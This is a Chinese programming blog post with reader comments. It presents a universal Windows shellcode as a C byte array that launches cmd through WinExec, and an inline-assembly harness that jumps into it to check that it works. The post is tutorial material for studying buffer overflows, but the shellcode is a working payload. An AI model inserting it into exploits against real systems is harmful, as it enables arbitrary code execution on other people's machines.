首页 > 缓冲区溢出 > ShellCode测试代码

ShellCode测试代码

ShellCode弄好不知道有没有效?简单测一下吧(只能简单测试,不能保证成功利用漏洞,因为有些ShellCode加入被利用程序只会就会改变)
可以先把Shellcode的偏移地址存入EAX寄存器,这个通过lea指令实现,然后pop之后ret就OK了。(call eax也可以吧)

#include <stdio.h>
 
unsigned char shellcode[] = {
	// Windows 2000, Windows 2003, Windows XP
	// Windows Vista, Windows 7通用cmd Shellcode
	"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
	"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
	"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
	"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
	"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
	"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
	"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
	"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
	"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
	"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
	"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
	"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
	"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
	"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
	"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
	"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
	"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
	"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
	"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
	"\x24\x20\x57\xFF\xD0"
};
 
int main(int argc, char **argv)
{
	__asm
	{
		lea eax, shellcode
		push eax
		ret
	}
	return 0;
}

觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> ShellCode测试代码
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



分类: 缓冲区溢出 标签: ,
  1. 2011年7月5日20:27 | #1

    呵,只能是来学习啦!!

    [回复]

  2. 2011年7月11日13:52 | #2

    @代码部落
    发现你的评论经常跑到垃圾评论里去了……看来Akismet对你有意见啊 [em020]

    [回复]

  3. 牧兽
    2012年4月15日20:42 | #3

    ret 原理

    [回复]

  4. 2013年3月21日11:39 | #4

    Hi,

    You can do it using only two instructions:

    __asm__ (“push $shellcode\n\t”
    “ret”);

    See you.

    [回复]

    代码疯子 回复:

    @Geyslan G Bem, did not work on Windows

    [回复]